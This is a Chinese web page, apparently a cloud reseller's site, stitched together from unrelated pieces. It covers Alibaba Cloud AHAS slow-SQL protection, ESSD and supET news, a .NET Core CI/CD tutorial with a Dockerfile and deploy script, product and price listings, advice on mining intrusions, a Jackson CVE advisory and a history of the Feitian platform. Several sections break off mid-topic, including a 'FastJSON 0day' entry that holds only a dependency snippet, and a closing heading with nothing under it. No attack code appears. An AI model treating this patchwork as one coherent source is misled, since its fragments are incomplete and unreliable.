目前米姆采用人性化管理及制度综合管理相结合的方式让企业管理效率最大化，目前我公司的管理制度，涉及到安全、流程、认证等各方面，各种制度健全合理，包含部分岗位流程SOP、销售服务准则、职能认证规范及要求等十数种程序文件。从各种制度的执行情况来看，各种制度制定的有效合理，能够有效地给予生产进行指导和员工行为规范的约束

米姆核心目标：

我们初创 却并非新生

    广州米姆信息科技有限公司简称米姆或MEME，伴随着企业上云和产业互联网化的趋势快速发展，米姆立志并已致力成为企业数字化转型一站式解决方案和营销一体化的服务提供商。
我们的核心团队汇聚了来自于阿里、华为和中软等业内领先企业的高端人才，完全具备了理解用户，提供物超所值的解决方案和服务的能力。
    目前，我们已经成为阿里云和华为的生态合作伙伴，为更好地提供数字化解决方案和服务，我们也与相关领域的优秀平台达成战略合作。
    米姆的核心理念在于创新，在于进步，更在于分享。选择我们，就是选择未来！

• 硬件问题。如网络速度慢，内存不足，I/O 吞吐量小，磁盘空间满等。

• 没有索引或者索引失效。

• 数据过多。

• DevOps 后没有专业的 DBA 对 SQL 代码进行 review，在项目初期没有对 SQL 的性能做很好的考量。

严重的慢 SQL 发生后可能会拖垮整个数据库，对线上业务产生阻断性的风险。AHAS 流控降级提供了 SQL 级别的识别与防护，可以帮助开发以及运维同学快速的识别慢 SQL 并及时采取有效的防护措施保障系统的稳定性。

应用场景

AHAS 提供了丰富的 SQL 场景支持，不需要更改代码即可实现SQL识别与防护，包括：

• 根据 SQL 语句的调用频率、执行时间来进行控制，如直接拒绝或者排队等待等。

• 自动探测 SQL 的执行时间、频率，并进行控制。

• 数据库读写联动控制，例如，读操作的速度由写操作的速度决定。

• SQL 执行并发控制。

在慢 SQL 防护一节中我们会详细介绍不同的用法。

SQL识别

AHAS 流控降级通过自动检测常见的 DAO 类、JDBC 驱动类等自动识别应用中的 SQL 语句，用户可以通过 Java Agent或者 JAVA SDK 两种接入方式来实现 SQL 的监控和拦截。其中 Java Agent 目前支持 MySQL JDBC 和 Oracle JDBC 驱动，SDK 目前支持 MyBatis 框架下的 SQL 识别。第三方组件和框架的版本支持情况详见支持列表。

如果使用Agent接入只需下载并安装最新的Agent即可：

SDK接入需要在应用依赖中引入ahas-sentinel-client：

接入成功后就可以在AHAS控制台的监控页看到SQL资源调用的QPS以及RT等信息，用户可以在监控页面通过查看SQL对应的RT值来判断该SQL执行是否过慢，从而提前设置限流和降级规则进行多手段防护。对于SQL的常见防护规则我们会在慢SQL防护中详细说明。

慢SQL防护

AHAS 流控降级提供了多种不同的防护手段，对于线上出现慢SQL的情况，可以从限流和降级两方面来对系统进行防护。规则配置开启后立即生效，不仅能够提前设置防护，还能在线上出现问题时紧急处理避免因为大量慢SQL的调用把系统拖垮。

限流策略

基于控制台自动识别出的SQL语句，使用者可以配置相应的限流规则对SQL执行进行控制。AHAS支持对QPS和并发线程数两种维度进行限制，SQL控制一般采取并发线程数模式，当出现慢SQL调用时可以限制同一时刻执行的SQL数量，防止过多的慢SQL语句执行把资源耗尽。

流控模式

AHAS 提供了多种不同的流控模式，用户可以基于自身业务场景来选择使用，在慢SQL防护中，比较常用的有直接和关联两种模式：

1、直接模式。

最常用的一种流控模式，在该模式下，阈值配置为当前SQL资源，超过设置的值后多余的请求将被拒绝。

2、关联模式。

阈值配置为关联SQL资源，关联的资源请求超过设置的之后，该资源的调用将被拦截。可以根据需要将SQL读关联写资源。

降级策略

除了限流规则之外，AHAS还提供了基于RT和异常比例的降级策略。对于慢SQL防护，使用者可以根据SQL执行的RT设置对应的阈值以及时间窗口，超过指定的RT值后在时间窗口内 SQL 执行将被降级，抛出包装好的异常。

资源被流控降级后会抛出 BlockException 异常类的子类（限流会抛流控异常 FlowException，降级会抛出降级异常 DegradeException），开发人员可以自定义异常的业务处理，如重试等一系列操作。

强大的监控

AHAS提供了强大的监控功能来帮助使用者快速发现问题并及时处理。在应用概览页可以查看集群的总QPS、拒绝QPS、RT等信息：

同时可以查看集群、单机TOP的CPU、LOAD信息，并支持历史数据回放：

除此之外还能够很直观的看到不同 SQL 语句执行的 TOP 情况，包括请求 QPS TOP、拒绝 QPS TOP、RT TOP，以及对应的单机 TOP 数据：

在监控详情页，可以查看每条 SQL 语句的调用及执行情况，发现 RT 请求过长的 SQL 调用可以进行一键限流或降级：

上述就是 AHAS 流控降级所提供的基于慢 SQL 的防护手段，通过 监控->发现异常->配置规则->有效防护 保障应用的高可用服务能力。

8月26日，阿里云宣布自研ESSD实现大规模商用，已服务数万企业，涵盖自动驾驶、AR/VR、证券交易、电商搜索等产业。

ESSD是业界首个百万级IOPS、百微秒延时的超高性能云存储产品。根据阿里官方公布的数据，其商用1个月以来，已成为阿里云增长最快的存储产品，用户数增长300%。

据悉，ESSD底层架构基于自研大规模分布式存储系统盘古 2.0，存储芯片采用自研Aliflash SSD，并且依托自研网络协议 Luna 和增强型RDMA 数据传输协议，结合自研HPCC流控算法，可以使数据传输效率提高50%。

根据阿里官方公布的数据，通过ESSD，上海振华重工加速SAP HANA上云，性能提升3倍的同时，成本降低30%；微博加速弹性扩容，弹性能力提升3倍，以应对高流量事件；一下科技交互响应速度提升100%。

阿里云智能存储产品资深总监Alex Chen。来源：阿里云团队

“我们全球最大的压力测试就来自于双11，技术上的演变也都是被双11逼出来的。” 在当日的媒体交流会上，阿里云智能存储产品资深总监Alex Chen对时代财经表示，“目前为止，60%以上的阿里云的头部客户已经在用ESSD。”

据IDC预测，伴随AIoT发展，2020年全球数据总量达44ZB，所有数据要求实时采集、传输和计算。以自动驾驶为例，1毫秒延时就可能造成交通事故，对存储提出新挑战。

ESSD可以实现数据的快速传输与存储，满足AIoT场景下对存储性能、读写时延等方面的极致要求，或成为ESSD应用的重要场景。“ESSD为企业数据存储和业务敏捷创新提供了新的可能，未来将成为AIoT智联网时代海量数据存储场景的标配。” Alex Chen指出。

云计算在商业世界中迅速普及，给中小企业创造了便利，但另一方面也产生了大量的问题。如乐动卓越诉阿里云案，以及被称为“首例微信小程序案”的刀豆公司诉腾讯案等。云计算的安全问题以及云计算提供商扮演的角色引发行业关注。

“存储不再是性能的瓶颈。我们不仅仅是速度快，还有其他方向的提升。例如端到端数据的保护，即便硬件上出了一些错误，我们也可以保证数据可靠，没有任何泄露。” 

据了解，该平台依托于 阿里 云的云计算、智联网、大数据、人工智能等核心技术能力，充分发挥平台的网络协同效应，打通研发、生产、供应链在内的全价值链协作与资源的精准对接，结合工业行业细分市场的特性，提出了“1+N” 模式平台生态为发展理念，联合行业内服务商、龙头企业打造一个产业协同的跨行业跨领域的资源与能力共享平台。

阿里 云方面表示，经过不断探索，supET已经走出了一条“以平台化驱动数字产业化、服务产业数字化”的发展道路。通过联合工业领域的专业服务商，形成N个行业级区域级平台，共同打造成为“1+N”的工业互联网平台体系。

不少企业已经通过supET降本增效，例如博拉科技通过IoT平台对设备进行远程监控、资产管理，节省了上百万元产品研发费用，节约了至少半年的研发时间。

与此同时，国家工业互联网小镇于近期在落地浙江余杭， 阿里 云supET工业互联网创新中心率先落户小镇，作为余杭临平新城与supET强强联合的产物，通过打造“新制造”模式策源地和输出地，使之成为长三角跨行业跨领域的工业互联网平台。

阿里 云supET工业互联网平台负责人韦伟表示：“未来计划通过三步走战略，逐步实现工厂内部的智能化改造、工厂间的协同智造及消费与生产打通，达成个性化定制、柔性制造，最终完成消费互联网与工业互联网的深度融合。”

阿里云Codepipeline服务，是一套类似Jenkins的服务（其实我觉得它的核心引擎就是来自Jenkins）。阿里云容器镜像服务，是一个镜像仓库，可以是公开的，也可以是私有的。持续集成CI

持续集成指的是，频繁地（一天多次）将代码集成到主干。
它的好处主要有两个。

（1）快速发现错误。每完成一点更新，就集成到主干，可以快速发现错误，定位错误也比较容易。

（2）防止分支大幅偏离主干。如果不是经常集成，主干又在不断更新，会导致以后集成的难度变大，甚至难以集成。

持续集成的目的，就是让产品可以快速迭代，同时还能保持高质量。它的核心措施是，代码集成到主干之前，必须通过自动化测试。只要有一个测试用例失败，就不能集成。
Martin Fowler说过，"持续集成并不能消除Bug，而是让它们非常容易发现和改正。"
摘自阮一峰大神的blog

下面就演示一下如何通过阿里云Codepipeline跟容器镜像服务来实现 .Net Core 程序的CICD。

持续集成流程

代码push后Gitee通过webhook功能触发Codepipeline构建，构建成功后自动推送镜像到容器镜像服务

新建一个 .Net Core MVC 的程序

新建一个 .net core mvc 程序名叫CoreCICDTest

public class Program
{
public static void Main(string[] args)
{
CreateWebHostBuilder(args).Build().Run();
}

public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
WebHost.CreateDefaultBuilder(args)
.UseStartup<Startup>()
.UseKestrel(options =>
{
options.Listen(IPAddress.Any, 5000);
});
}

修改Program的main方法，使Kestrel监听5000端口

@{
ViewData["Title"] = "Home Page";
}


<h3>
.NET CORE CICD TEST
</h3>

修改Home/index视图

运行一下看看效果，网站正常显示 .NET CORE CICD TEST -- V 1.0

新建一个 MSTest 项目

在CoreCICDTest的解决方案下新建一个 MSTest 项目用来写单元测试，名叫CoreCICDTest.Tests

[TestClass]
public class UnitTest1
{
[TestMethod]
public void TestMethod1()
{
string str = "00";

Assert.AreEqual(str, "00");
}
}

修改UnitTest1文件中的TestMethod1方法，使其成为一个合法的TestMethod

运行一下单元测试，全部通过

添加Dockerfile文件FROM microsoft/dotnet:latest AS build
WORKDIR /app
COPY /. /app
RUN dotnet restore
WORKDIR /app/CoreCICDTest.Tests
RUN dotnet test CoreCICDTest.Tests.csproj
WORKDIR /app/CoreCICDTest
RUN dotnet publish -o ./out -c Release
EXPOSE 5000
ENTRYPOINT ["dotnet", "out/CoreCICDTest.dll"]

Dockerfile注意文件名没有任何后缀，Dockerfile用来在Docker容器内自动test、build我们的代码

在Gitee上新建一个项目，并把CoreCICDTest解决方案推送上去

使用Gitee的免费Git服务，新建一个项目名叫CoreCICDTest，使用Git Push命令把本地代码推送上去。

在阿里云容器镜像服务上新建项目并进行配置

点击“创建镜像仓库”按钮，弹出创建界面。填写命名空间kklldog,仓库名称cicd_test

点击下一步，代码源选择“本地仓库”，点击“创建镜像仓库”完成仓库的创建

在阿里云Codepipeline上新建项目并进行配置

点击“新建”按钮跳转至新建项目页面。这个界面跟Jenkins简直就是一模一样

在“镜像构建与发布”界面填写刚才创建的仓库信息

镜像仓库名格式为namespace/镜像仓库名。如果registry为Docker hub，拉取镜像命令为docker pull docker，则本配置项填写docker；如果 registry为阿里云Docker镜像仓库，拉取镜像命令为docker pull registry.cn-hangzhou.aliyuncs.com/acs-sample/wordpress， 则本配置项填写acs-sample/wordpress。 Registry地址 用来配置docker registry地址，如果为空，默认使用Docker hub registry （https://index.docker.io/v1/）；如果使用阿里云registry， 请填写https://registry.cn-beijing.aliyuncs.com/v2/，其中地域（cn-beijing）根据用户实际的镜像仓库地域来修改。
Registry证书 用来添加授权信息，请添加Registry授权类型的证书。

在“构建后操作”界面填写邮件地址，用来接收邮件通知。勾选“每次不稳定的构建都发送邮件通知”

在Gitee的CoreCICDTest项目上配置WebHook

当点击“添加”按钮后Gitee会立马往webHook配置的url地址Post一次请求，如果Codepipeline做出“Task has been scheduled to queue”的响应则说明Codepipeline开始进行自动构建了

这个时候构建的镜像也应该被推送到了容器镜像服务的cicd_test仓库里。

编写shell脚本运行容器sudo vim publish_cicd_test.sh
输入以下内容
#!/bin/bash
sudo docker stop cicd_test
sudo docker rm cicd_test
sudo docker rmi registry-vpc.cn-shanghai.aliyuncs.com/kklldog/cicd_test
sudo docker login --username=xxx --password=xxx registry-vpc.cn-shanghai.aliyuncs.com
sudo docker pull registry-vpc.cn-shanghai.aliyuncs.com/kklldog/cicd_test:latest
sudo docker run --name cicd_test -d -p 7000:5000 -v /etc/localtime:/etc/localtime registry-vpc.cn-shanghai.aliyuncs.com/kklldog/cicd_test:latest

新建一个shell脚本命名为publish_cicd_test.sh;使用docker pull从仓库中拉取最近的镜像；使用docker run运行容器

sudo /bin/bash publish_cicd_test.sh

运行一下shell脚本

sudo docker ps -a

使用docker ps命令查看一下容器的运行状态,可以看到cicd_test容器已经运行成功了

使用浏览器访问一下对应的端口，网站已经正常运行了

Push代码触发构建

刚才的构建是我们配置Webhook的时候Gitee默认发送的一次请求，正常应该是用户使用git push命令后Gitee会发送一次请求，让我们模拟一下。

可以看到home/index已经变成V2.0了，说明我们的持续集成流程跑通了

持续交付/部署

 智能办公 

人脸识别一体机

人脸识别门禁一体机解决方案

• · 唯一“门钥匙”

• · 全天候智能守护

• 
  

• 
  

¥10155.00/起

立即购买

0571-26883303

会议一体机

指挥设备集成在一个会议平板中，让会议室更简

• · 网络直播设备

• · 指挥设备一体化

¥3498.00/起

立即购买

0571-26883303

云投屏

双投屏远程会议共享演示

• · 实现双屏投屏

• · 个性化定制

• 
  

• 
  

¥1200.00/起

立即购买

0571-26883303

 智能零售 

24H自助售药机

24H自助售药机解决方案

• · 安装方便

• · 实现药店24h营业

• 
  

• 
  

¥47300.00/起

立即购买

0571-26883303

小眯眼摄像头

远程视频监控解决方案

• · 天猫精灵可控制

• · 安装便捷

• 
  

• 
  

¥136.00/起

立即购买

0571-26883303

小白智能摄像机

移动侦测主动报警、360°监控视角、双向语音通话

• · 主动报警

• · 双向语言通话

• 
  

• 
  

¥169.00

立即购买

0571-26883303

互动营销一体机

人脸识别能力的AI互动平台

• · 人脸识别

• · 互动营销

¥6700.00/起

立即购买

0571-26883303

仓库猫

仓库监控防火防盗防水

• · 实时监测

• · 部署灵活

• 
  

• 
  

¥4999.00/起

立即购买

0571-26883303

守护精灵安防套包

守护精灵安防套装解决方案

• · 遥感监控

• · 轻松扩容

• 
  

• 
  

1488.00/起

立即购买

0571-26883303

 智能园区 

多媒体信息发布云平台

支持室内、室外的各种大屏的多媒体信息发布

• · 支持室内外大屏

• · 可视化编辑

¥796.00/起

立即购买

0571-26883303

技术工程项目管理平台

提高生产效率、决策能力，实现工地智慧化管理

• · 工地智能化管理

• · 提升管理效率

¥20000.00/起

立即购买

0571-26883303

OneBOX河湖监管

河湖监管云服务解决方案

• · 多种部署方式

• · 多种场景供电方案

• 
  

• 
  

¥2500.00/起

立即购买

0571-26883303

智慧停车管理系统

实现真正的停车场无人化值守停车、收费

• ·无人化值守

• ·智能化收费

¥37287.70/起

立即购买

0571-26883303

 综合 

温湿度气压计

超低功耗，超长待机

• · 支持Lora

• · 超长待机

• 
  

• 
  

¥299.00

立即购买

0571-26883303

智能门磁

一键布防 30秒安装 实时监测室内安防状态

• · 一键布防

• · 快速安装

• 
  

• 
  

¥216.00

立即购买

0571-26883303

阿里云IoT环境数据采集杆

监测环境数据，随时随地查看监测数据

• · 多种环境数据监测

• · 随时查看监测数据

• 
  

• 
  

¥12980.00

立即购买

0571-26883303

智慧班牌公话版

校园教务管理和信息展示的智慧平台

• ·方便易用

• · 高度个性化

¥6020.00/个起

立即购买

0571-26883303

智慧班牌标准版

校园教务管理和信息展示的智慧平台

• · 方便易用

• · 高度个性化

¥5320.00/个起

立即购买

0571-26883303

快货运小黑卡

小黑卡货物跟踪溯源解决方案

• · 智能追货

• · 全程可视

¥20000.00/起

立即购买

0571-26883303

上云入门级产品，适合个人及中小企业建站、简单应用等需求，限时3年3折

ECS突发性能型t5

高性价比之选，适合入门级用户，低负载应用 10%基准CPU计算性能

1核1G

1~10M

可选带宽

40G

高效云盘

1年付、2年付5折

3年付3折

活动价

￥313.20/年起

￥313.20/年

立即购买

ECS共享型xn4

更优价格 适用于个人开发者和小型网站

1核1G

1~10M

可选带宽

40G

高效云盘

1年付、2年付5折

3年付3折

活动价

￥478.20/年起

￥478.20/年

立即购买

ECS计算网络增强型sn1ne

CPU与内存配比1：2 适用于各类计算密集型应用

2核4G

1~10M

可选带宽

40G

高效云盘

1年付、2年付5折

3年付3折

活动价

￥1390.20/年起

￥1390.20/年

立即购买

ECS通用网络增强型sn2ne

CPU与内存配比1：4 适用于各类通用应用

2核8G

1~10M

可选带宽

40G

高效云盘

1年付、2年付5折

3年付3折

活动价

￥1924.20/年起

￥1924.20/年

立即购买

主机进阶

性能更优，配置灵活选择，性价比更高

ECS计算型c5

支持IPv6，适用Web前端服务器，大型多人在线游戏（MMO）前端

2核4G

1~10M

可选带宽

40G

SSD/高效云盘

一年付、两年付享5折

活动价

￥1282.20/年起

￥1282.20/年

立即购买

ECS通用型g5

支持IPv6，CPU与内存配比为1：4，适用于均衡性能场景

2核8G

1~10M

可选带宽

40G

SSD/高效云盘

一年付、两年付享5折

活动价

￥1738.20/年起

￥1738.20/年

立即购买

ECS内存型r5

支持IPv6，CPU与内存配比1：8，适合内存密集型应用场景

2核16G

1~10M

可选带宽

40G

SSD/高效云盘

一年付、两年付享5折

活动价

￥2164.20/年起

￥2164.20/年

立即购买

ECS内存网络增强型se1ne

支持IPv6，适用于高性能数据库、内存数据库，数据分析与挖掘

2核16G

1~10M

可选带宽

40G

SSD/高效云盘

一年付、两年付享5折

活动价

￥2404.20/年起

￥2404.20/年

立即购买

建站必选

可视化控制面板，预装网站环境

独享云虚拟主机 基础版

适用于入门建站用户 预装网站环境独立IP，高访问速度

1核1G基础版

5M峰值带宽

3.5折起

基础版

包年6折

高级版

低至3.5折

限购1台

活动价

￥206.00/年起

￥382.00/年

立即购买

独享云虚拟主机 高级版

适用于入门建站用户 预装网站环境独立IP，高访问速度

1核2G 高级版

15M峰值带宽

3.5折起

基础版

包年6折

高级版

低至3.5折

限购1台

活动价

￥828.00/年起

￥552.00/年

立即购买

轻量应用服务器 基础版

一键上云，可视化面板 适用于个人用户建站或企业网站搭建

1核1G

3Mbps

40G起

SSD

500G起

免费流量

限1台

两年付享3.5折

活动价

￥1197.00/3年起

￥2223.00/3年

立即购买

轻量应用服务器 通用版

一键上云，可视化面板 适用于个人用户建站或企业网站搭建

1核2G

5Mbps

40G起

SSD

500G起

免费流量

限1台

两年付享3.5折

活动价

￥609.00/年起

￥1131.00/年

立即购买

海外人群

香港、美国、新加坡节点任选

ECS突发性能型t5

高性价比之选，适合入门级用户，低负载应用 10%基准CPU计算性能

1核1G

1~10M

可选带宽

40G

高效云盘

1年付、2年付5折

3年付3折

活动价

￥486.00/年起

￥486.00/年

立即购买

云服务器ECS计算型c5

CPU与内存配比为1：2 适用于计算密集型场景

2核4G

1~10M

可选带宽

40G

高效云盘

一年付、两年付享5折

活动价

￥2022.00/年起

￥2022.00/年

立即购买

轻量应用服务器（香港）

一键启动应用 适用中小企业建站需求 适合低要求的网站环境

1核1G

30M峰值带宽

40G起

SSD

30M

峰值带宽

活动价

￥288.00/年起

立即购买

独享云虚拟主机（香港）

适用于入门建站用户 预装网站环境独立IP，高访问速度

1核1G 经济版

1M带宽

最高100G

网页空间

最高1G

数据库

活动价

￥298.00/年起

立即购买

其它商品

短信套餐包基础版

支持国内验证码、短信通知和推广短信

1.5万条

0.036元/条

国内短信三网合一专属通道

秒级可达，99%到达率

新用户限时抢

活动价

￥540.00/2年起

￥120.00/2年

立即购买

【心选】网站建设

一站式建站，1对1 VIP服务，省心省力，618大促享3重优惠

精美模板 - 云·速成美站

PC站+手机站+公众号+小程序

标配阿里云空间，会打字就会建网站

活动价

￥500.00/年起

￥198.00/年

立即购买

云数据库MySQL

全球最受欢迎的开源数据库之一 高安全等级，高稳定，5倍性能提升

1核1G 基础版

高安全等级，保证数据库安全性

多种部署架构，满足多类可用性要求

阿里云专家多年运维经验产品化，免去90%运维烦恼

包年立享7.5折

活动价

￥624.60/年起

￥208.20/年

立即购买

对象存储OSS

适合图片/音视频等多媒体数据存储，数据实时处理，海量存储无上限

OSS标准型存储包

500GB

深度集成数据处理服务

生命周期管理降低成本

限时7.5折抢购

活动价

￥486.00/年起

￥162.00/年

立即购买

活动规则

一、活动对象

阿里云官网已实名认证的注册会员用户。

二、活动时间

2019年7月1日至2020年3月31日（大型活动期间如有调整，以届时活动页面展示为准）。

三、活动规则

1、活动期间，用户通过本活动页面购买指定云产品，可享受相应的优惠折扣（以页面展示为准）。

2、活动期间，ECS首购用户可享受3个月7.5折、1年付2年付5折的优惠活动，同一用户就单类产品可享受的活动优惠仅限1单，限购3台

ECS云服务器，3年付仅3折，17元/月起

实名认证 后新老用户首次购买ECS，均可享受1-3年价格优惠，每人限购1单，限量3台。 详细规则

入门级配置 适用于web应用前端机、轻负载应用、微服务、开发测试等场景

突发性能t5实例(10%性能基线)

1核1G 40G系统盘

 1年 
￥ 504

 2年 
￥ 907.2

 3年 
￥ 907.2

突发性能t5实例(10%性能基线)

1核2G 40G系统盘

 1年 
￥ 648

 2年 
￥ 1166.4

 3年 
￥ 1166.4

突发性能t5实例(15%性能基线)

2核4G 40G系统盘

 1年 
￥ 936

 2年 
￥ 1684.8

 3年 
￥ 1684.8

性能均衡配置 适合小型 Web 应用、中小型数据等各行业通用计算应用场景

共享型n4实例

1核2G 40G系统盘

 1年 
￥ 864

 2年 
￥ 1555.2

 3年 
￥ 1555.2

共享型n4实例

2核4G 40G系统盘

 1年 
￥ 1584

 2年 
￥ 2851.2

 3年 
￥ 2851.2

计算网络增强型实例

2核4G 40G系统盘

 1年 
￥ 1542

 2年 
￥ 2775.6

 3年 
￥ 2775.6

计算网络增强型实例

4核8G 40G系统盘

 1年 
￥ 2724

 2年 
￥ 4903.2

 3年 
￥ 4903.2

地域

           华北2              华北1              华东1              华东2              华南1       

操作系统

           CentOS 7.4 64位              Ubuntu 14.04 64位              Windows Server 2008              Windows Server 2012       

带宽

1M 2M 5M10M

台数

1台

网络类型 VPC专有网络 

总价： ￥ 907.20

立即购买

在去年的虚拟币市场中，虽然虚拟币经历了暴跌的情况，但是服务器被挖矿的情况还是持续性的增长趋势，背后是一些攻击者利用服务器的漏洞以及网站漏洞进行入侵服务器，拿到服务器权限，在服务器系统里置入木马后门进行挖矿。

下面挖矿的安全报告我们来简要的跟大家分享一下：

去年很多网站系统以及APP应用出现漏洞，PHPCMS 注入漏洞，Thinkphp远程代码执行漏洞，dedecms缓存漏洞，ecshop远程写入漏洞，给整个网络安全带来了很大的危害，关于最新的漏洞利

用以及如何产生的漏洞，我们对其公开与分享，对网站的漏洞修复以及补丁，及时的告知与相应，让损失降到最低。我们调查分析发现，从网站漏洞被爆出后到修复漏洞的时间约大，一些网站被攻击的状况就越严重，服务器被挖矿的事情就会发生，如果及时的修复漏洞，那么就可以避免被挖矿。

关于服务器被挖矿的安全部署与防护策略

服务器被挖矿的情况时有发生，我们要对服务器进行详细的安全部署，对远程登录的端口进行更改，像windows的3389端口，改掉，SSH的22端口也要改掉，管理员的账号密码也要更改为数字+字母+符号+大小写的组合来，避免被暴力猜解。对网站的漏洞进行安全检测，发现漏洞立即进行修复，打补丁。有些网站使用开源的系统，要定期的检查系统是否需要更新。如果使用的阿里云服务器，要经常登录服务器查看阿里云云盾的安全提醒，如果出现webshell安全提示，以及阿里云挖矿提示，挖矿恶意进程等安全提示，要尽快进行处理，如果对安全不是太懂的话，建议找专业的网站安全公司处理，对于一些网站管理员的账号密码，也要加强，数据库mysql,sql2008等数据库的管理员账号密码也要更改，对数据库的端口也要禁止对外。

阿里云2折服务器➡➡➡点我立即购买

漏洞描述

近日，Jackson官方github仓库发布安全issue，涉及漏洞CVE-2019-14361和CVE-2019-14439，均为针对CVE-2019-12384漏洞的绕过利用方式，当用户提交一个精心构造的恶意JSON数据到WEB服务器端时，可导致远程任意代码执行。阿里云应急响应中心提醒Jackson用户尽快采取安全措施阻止漏洞攻击。

风险评级

CVE-2019-14439 高危

CVE-2019-14361 高危

影响版本

jackson-databind < 2.9.9.2

jackson-databind < 2.10.0

jackson-databind < 2.7.9.6

jackson-databind < 2.8.11.4

安全版本

jackson-databind >= 2.9.9.2

jackson-databind >= 2.10.0

jackson-databind >= 2.7.9.6

jackson-databind >= 2.8.11.4

安全建议

针对使用到jackson-databind组件的web服务升级jackson相关组件至最新版本，下载链接参考：http://central.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/

相关链接

https://github.com/FasterXML/jackson-databind/issues/2389

云盾漏洞扫描已支持对该漏洞检测

云盾云安全中心应急漏洞模块已支持对该漏洞一键检测

我们会关注后续进展，请随时关注官方公告。

如有任何问题，可随时通过工单或服务电话联系反馈。

阿里云应急响应中心

2019.7.31

原文地址：https://help.aliyun.com/noticelist/articleid/1060035134.html?source=5176.11533457&userCode=d4m00na3&type=copy

漏洞名称

FastJSON远程代码执行0day漏洞

<dependency>
 <groupId>com.alibaba</groupId>
 <artifactId>fastjson</artifactId>
 <version>1.2.58</version></dependency>

根据公开资料显示，这款中国唯一自主研发的大数据计算引擎集群规模一举超过微软、亚马逊等公司，实现全球第一。单一引擎可将10万台服务器合为一体，单日数据处理量突破600PB,相当于6亿部高清电影。

此外，过去数年飞天大数据平台还在单集群服务器数量、数据排序速度、基准测试等领域先后刷新多项世界纪录，被称为世界第一。

回过头看，取得如此耀眼的成绩，既归功于 阿里 云团队10年间对大数据技术的沉淀，更离不开10年前他们抓住了技术革命中的新机遇。

视野前瞻：10年前开始迎接挑战

2008年，中国网购用户突破千亿大关，增长率达到185%，作为头部企业 淘宝 年交易额逼近千亿，涨幅亦高达131%。迎接喜讯的 阿里巴巴 同时也感受到“脑力”不够用，比其它公司更早地遇到互联网规模化带来的挑战——传统软件无法承载。

当时的 阿里巴巴 和全球大多数公司一样运用基于Oracle的数据库，整体计算规模已经超过数百TB,对算力的要求濒临Oracle集群的极限，系统很快就无法支持业务正常增长了，把数据转移到规模更大的处理平台成为他们2008年的当务之急。

除了Oracle，Greenplum、Hadoop都进入过 阿里 的思考方案，但这些框架平台只能解燃眉之急，无法长远适应 阿里巴巴 当时高速成长的发展策略，如果使用第三方框架未来必将还会面临更大的困境。

同年8月，曾在微软亚洲研究院任职的王坚博士带着解决大规模算力瓶颈的任务加入 阿里 。他根据自己的经验迅速做出判断：无论是Oracle还是Greenplum、Hadoop，都不是大规模数据计算的最优解， 阿里 必须自研一套大数据处理平台才能以绝后患。

由此，第二年 阿里 云在 阿里 内部经过无数次商讨后正式成立，这场关于大数据的技术长征正式拉开帷幕。

后来任职 阿里巴巴 集团首席技术官的王坚解释，“从战略上来说， 阿里 云想做的事情实际上可以解读为Amazon+Google并有所超越。将单一集群做到数千乃至更高，技术上是国家和企业竞争力的标志。 阿里巴巴 必须攻克这道难关。”

技术领先：解决世界级算力难题

从2009年启动项目， 阿里 云沉默了4年，4年间饱受争议。

自研云计算胜算几何？还要投入多少才能看见成果？成果是否稳定？对于“飞天”计划不计人力、资金的研发投入，公司内部和外界的质疑连绵不绝。

2013年8月15日，他们才第一次向外界展示成果。 阿里 云历史性地突破了同一个集群内5000台服务器同时计算的局限，为未来的大规模服务奠定基础，也使得 阿里 成为全世界第一家能对外提供5K云计算服务的科技公司。

时至今日，在杭州云栖小镇上仍竖立着一尊飞天的纪念碑，雕刻着参与解决5K相关技术研发工作人员的大名。

6年后的今天， 阿里 云飞天大数据平台多集群规模已超过10万台，在全球范围内能其与并肩的企业也不过寥寥几家。

凭借这套技术， 阿里 不仅解决了自己的算术难题，也进入各行各业，为大量有大数据处理需求的企业提供优质服务。为了应对不同的客户，他们要面临海量的数据。除了数据量的激增，不同行业数据类型丰富多样，如结构化数据、非结构化数据等，都给大数据计算平台带来新的挑战。

这些挑战也倒逼着团队交出更好的成绩：

2015、2016年， 阿里 云刷新世界计算奥运会之称的SortBenchmark六项世界纪录；

2017年，完成全球首次基于公共云的100TB BigBench大数据基准测试。

记录被不断刷新，并且得到了权威机构的认可：在Forrester发布的《The Forrester WaveTM: CloudData Warehouse, Q4 2018》中， 阿里 云MaxCompute、DataWorks、ADB等三款产品成功入选，并在产品功能（Current Offering）方面力压微软。

在单日数据处理量上也从2015年100PB，2016年180PB，到2017年320PB，再到2018年的单日处理超过600PB，不断攀升。

另外，在核心产品和技术的优化与创新上，他们也没有停歇。

2019年1月， 阿里 首款大规模分布式科学计算引擎Mars开源，突破科学计算领域的规模瓶颈，极大提升了科学计算的计算规模和效率。

2017年10月，进行了全球首次基于公共云的bigbench大数据基准测试，数据规模被拓展到100TB，并成为首个突破7000分的引擎，性能达到 7830QPM。

2018年9月，性能较2017年10月提升一倍多，达到18176.71QPM。另外，在超小型10TB规模的指标上，与其他开源竞品进行了比对分析，性能超过开源竞品3倍。

稳定落地：业务应用世界领先

攻克算术瓶颈王坚团队用了4年，将其继续延展不断商业化 阿里 云用了10年，到现在阿里 云飞天大数据平台已和水电煤一样成为不少公司必不可少的基础设备。

在 阿里 内部，飞天大数据平台作为主力计算平台支撑着这个商业“巨无霸”几乎所有的计算。每天有超过14000名 阿里巴巴 内部的开发者在这一平台上进行开发，超过600万个作业在该平台上运行，几乎支撑起整个 阿里 经济体。

在去年的双11狂欢节中，飞天大数据平台单日数据处理超过600PB，同时平稳支撑电商混布单元在线流量洪峰12万笔/s交易，稳定承载45%导购流量，顺利完成1200台DB业务混部的目标，为双11交易峰值提供了有力保障和平滑支撑。

在交通领域，城市大脑在杭州实时指挥1300个红绿灯路口、200多名交警。从2016年到2018年，杭州从全国最拥堵城市排行榜上下跌52名。

在工业领域， 阿里 云的大数据处理技术帮助制造企业寻找上千个参数的最优搭配，提升制造的良品率。协鑫光伏、天合光能等行业龙头企业，都在尝试这一全新的生产模式。

在政务领域，浙江最多跑一次通过大数据处理平台打通政务数据，将与老百姓办事最密切相关的100个事项70多亿条数据，按照统一标准汇入统一的数据仓，实现共通共享共用。老百姓办事不仅能最多跑一次，甚至有可能一次都不跑。

而在海外，其也已进入新加坡、欧洲等市场，将这一技术服务提供给更多用户。

结语

